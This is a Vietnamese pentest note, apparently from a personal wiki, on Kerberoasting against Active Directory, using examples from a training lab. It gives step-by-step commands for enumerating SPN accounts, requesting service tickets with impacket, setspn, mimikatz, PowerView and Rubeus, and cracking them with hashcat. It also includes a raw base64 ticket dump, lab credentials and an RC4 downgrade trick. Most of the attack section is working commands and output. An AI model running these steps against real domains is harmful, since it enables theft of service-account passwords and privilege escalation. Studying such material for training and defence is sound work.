Ý tưởng
Kerberroasting là kiểu tấn công lợi dụng hành vi đặc biệt của SPN (Service principal name).
Hiểu nôm na SPN là một user dùng để chạy services trong AD. Một số services sẽ cần quyền admin local để khởi chạy, do đó đôi khi SPN sẽ có quyền admin local, hoặc lý tưởng hơn SPN được set up có quyền domain admins. Tham khảo : https://en.hackndo.com/service-principal-name-spn/
SPN có một hành vi độc lạ, là ta có thể request TGS với bất kỳ SPN nào. Tức là ta có thể giả danh SPN để request TGS, vì TGS -REP sẽ được mã hóa bằng hash của user, nên khi ta nhận được TGS-REP ta cũng sẽ nhận được hash của user SPN, từ đây ta có thể crack và lấy được cleartext
Tóm lại mục đích của Kerberoasting là lấy được hash hoặc lý tưởng hơn là cleartext password của SPN. Tùy thuộc theo từng tình huống thì account SPN sẽ có quyền thấp hoặc cao trong hệ thống AD.
Điều kiện để exploit:
Có foothold trong hệ thống (máy join-domain hoặc creden hợp lệ)
Exploit Kerberoasting bằng Linux
Recon SPN users
Đầu tiên ta cần biết được trong AD có những SPN users nào, được phân quyền ra sao. Đánh giá xem có khả thi hoặc đáng để Kerberoasting hay không.
Ta dùng GetUserSPNs.py
của impacket
Copy GetUserSPNs.py -dc-ip <domain_ip> <domain_name>/<domain_user>:<domain_password>
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev:database!
Request TGS ticket
Copy # All users
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
# 1 user
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
# Save to file
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs
Cracking
Cuối cùng là crack TGS với Hashcat
Copy hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
Exploit Kerberoasting bằng Windows
Manual
Enumerating SPNs with setspn.exe
Request TGS
Copy # 1 user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
# All users
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Lúc này TGS đã ở trong memmory, ta dùng Mimikatz để dump
Copy Using 'mimikatz.log' for logfile : OK
mimikatz # base64 /out:true
isBase64InterceptInput is false
isBase64InterceptOutput is true
mimikatz # kerberos::list /export
<SNIP>
[00000002] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
Server Name : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
Client Name : htb-student @ INLANEFREIGHT.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
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
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================
* Saved to file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
<SNIP>
Ta có thể bỏ output base64 để ra trực tiếp file .kirby
rồi dùng hashcat để crack
Cracking
Nếu output là base64 thì ta cần 1 bước decode rồi chuyển về file .kirbi
Copy echo "<base64 blob>" | tr -d \\n
cat encoded_file | base64 -d > sqldev.kirbi
Bắt đầu crack
Copy python2.7 kirbi2john.py sqldev.kirbi
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Automic tools
Dùng PowerView
Copy # Enum SPN users
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
# Get hash
## 1 user
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
## all user to csv
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
Dùng Rubeus
Copy # Enum
.\Rubeus.exe kerberoast /stats
# Request TGS
## Filter ldap
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
## Filter user name
.\Rubeus.exe kerberoast /user:testspn /nowrap
# Crack
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
Note
Tùy thuộc vào loại hash được sử dụng để mã hóa sẽ ảnh hưởng đến tỷ lệ thành công của Kerberoast. Ví dụ hash mã hóa RC4 thì dễ crack hơn AES126-256
Ta có thể check xem user SPN đang được dùng loại thuật toán mã hóa nào bằng câu lệnh:
Copy PS C:\htb> Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
serviceprincipalname msds-supportedencryptiontypes samaccountname
-------------------- ----------------------------- --------------
testspn/kerberoast.inlanefreight.local 0 testspn
Ta đối chiếu kết quả của cột msds-supportedencryptiontypes
với bảng trong link này https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797
Hoặc kết quả của Rubeus cũng hiển thị
Tuy nhiên ta có thể bypass bằng cách dùng flag /tgtdeleg
trong Rubeus. Flag này sẽ nói cho rubeus request và chỉ chấp nhận ticket trả về được mã hóa bởi RC4. Lúc này cho dù SPN users được setup với loại mã hóa nào đi nửa, thì cũng bị buộc chuyển sang RC4. Từ đó ta có thể dễ dàng crack hơn. Đây có thể coi là một trong những tính năng kỳ lạ của AD, có thể mục đích của nó là giúp tương thích ngược giữa hệ thống mới và cũ
Cách bypass trên không hoạt động với phiên bản Windows Server 2019 trở lên. Vì từ phiên bản này TGS sẽ luôn được trả về với thuật toán mã hóa có level cao nhất mà account đó hỗ trợ, ko thể bypass
Last updated 2 months ago